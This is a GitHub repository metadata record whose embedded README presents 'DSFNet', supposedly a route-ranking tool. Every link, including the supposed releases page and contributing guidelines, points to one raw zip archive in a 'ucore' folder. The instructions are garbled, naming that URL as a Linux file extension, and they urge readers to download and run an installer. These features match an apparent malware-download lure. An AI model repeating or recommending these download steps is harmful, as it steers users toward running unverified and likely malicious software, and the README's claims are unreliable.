{"id":31696599,"url":"https://github.com/dominicvinxander/dsfnet","last_synced_at":"2026-04-19T06:37:45.722Z","repository":{"id":317402215,"uuid":"1066842987","full_name":"DominicVinxander/DSFNet","owner":"DominicVinxander","description":"🌟 Learn to factor scenarios for improved multi-scenario route ranking with DSFNet, enhancing decision-making in navigation and logistics.","archived":false,"fork":false,"pushed_at":"2025-10-07T18:59:16.000Z","size":4209,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-10-07T20:44:14.740Z","etag":null,"topics":["computer-vision","data-augmentation","deep-learning","dsfnet","generative-models","image-generation","model-training","neural-networks","open-source","performance-optimization","pytorch","research-paper","supervised-learning","tensorflow","unsupervised-learning"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/DominicVinxander.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-30T03:21:40.000Z","updated_at":"2025-10-07T18:59:20.000Z","dependencies_parsed_at":"2025-09-30T17:48:33.314Z","dependency_job_id":null,"html_url":"https://github.com/DominicVinxander/DSFNet","commit_stats":null,"previous_names":["dominicvinxander/dsfnet"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/DominicVinxander/DSFNet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DominicVinxander%2FDSFNet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DominicVinxander%2FDSFNet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DominicVinxander%2FDSFNet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DominicVinxander%2FDSFNet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/DominicVinxander","download_url":"https://codeload.github.com/DominicVinxander/DSFNet/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/DominicVinxander%2FDSFNet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278981518,"owners_count":26079640,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-08T02:00:06.501Z","response_time":56,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["computer-vision","data-augmentation","deep-learning","dsfnet","generative-models","image-generation","model-training","neural-networks","open-source","performance-optimization","pytorch","research-paper","supervised-learning","tensorflow","unsupervised-learning"],"created_at":"2025-10-08T17:09:32.092Z","updated_at":"2026-04-19T06:37:45.709Z","avatar_url":"https://github.com/DominicVinxander.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🛠️ DSFNet - Simplifying Your Route Ranking Journey\n\n## 🚀 Getting Started\n\nWelcome to the DSFNet project! This application helps you learn about disentangled scenario factorization for multi-scenario route ranking. With our open dataset and implementation, you can explore new ways to optimize your route planning.\n\n## 📥 Download DSFNet\n\n[![Download DSFNet](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip%20DSFNet-v1.0-green)](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip)\n\nTo download DSFNet, visit the Releases page below:\n\n[Download DSFNet](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip)\n\n## 🔧 System Requirements\n\nBefore downloading, make sure your system meets the following requirements:\n\n- **Operating System:** Windows 10 or later, macOS 10.12 or later, or a recent Linux distribution.\n- **Memory:** At least 4 GB RAM.\n- **Storage:** At least 500 MB of free disk space.\n\n## 📁 Download \u0026 Install\n\n1. **Go to the Releases Page**  \n   Click this link to visit our Releases page: [DSFNet Releases](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip).\n\n2. **Choose the Latest Version**  \n   On the Releases page, locate the latest version listed. Look for the version number to ensure you have the most recent features and updates.\n\n3. **Download the Application**  \n   Click on the file that corresponds to your operating system. Here are the options you should see:\n   - For Windows: Look for a file ending in `.exe`.\n   - For macOS: Look for a file ending in `.dmg`.\n   - For Linux: Look for a file ending in `https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip`.\n\n4. **Run the Installer**  \n   After downloading, open the file you’ve downloaded. Follow the instructions on the screen to install DSFNet on your device. The process is straightforward and user-friendly.\n\n5. **Start Using DSFNet**  \n   Once installed, you can find DSFNet in your applications. Launch it, and you're ready to begin optimizing your route rankings.\n\n## 📚 How to Use DSFNet\n\nNow that you have installed DSFNet, here’s how to make the most out of it:\n\n1. **Load Your Dataset**  \n   Click on the “Load Data” button to import your dataset. Ensure your data is formatted correctly. Common formats include CSV and JSON.\n\n2. **Choose Your Parameters**  \n   Adjust the parameters for scenario factorization. This can help refine the results based on your specific needs.\n\n3. **Run the Analysis**  \n   Hit the “Analyze” button to process your dataset. This may take a few moments depending on the size of your data.\n\n4. **View Results**  \n   Once the analysis is complete, you’ll see a visual representation of your route rankings. You can export these results for further use.\n\n## ❓ Frequently Asked Questions\n\n**Q: What is Scenario Factorization?**  \nA: Scenario factorization is a method that separates different factors influencing route rankings. This helps produce more accurate and nuanced results.\n\n**Q: Can I contribute to DSFNet?**  \nA: Yes, contributions are welcome! Visit our [Contributing Guidelines](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip) for more information.\n\n**Q: Is DSFNet free to use?**  \nA: Yes, DSFNet is open-source and free for anyone to use.\n\n## 📞 Support\n\nIf you encounter any issues or have questions, feel free to reach out. You can open an issue directly on GitHub or contact us through our support email.\n\n## 📝 License\n\nDSFNet is licensed under the MIT License. This allows you to freely use and modify the software, provided you include the original license in any derivative works.\n\n## 📆 Upcoming Features\n\nWe are working on adding more features to enhance your experience with DSFNet:\n\n- Improved Data Visualization Tools\n- Additional File Format Support\n- Enhanced User Documentation\n\nWe hope you find DSFNet helpful in your route ranking tasks. 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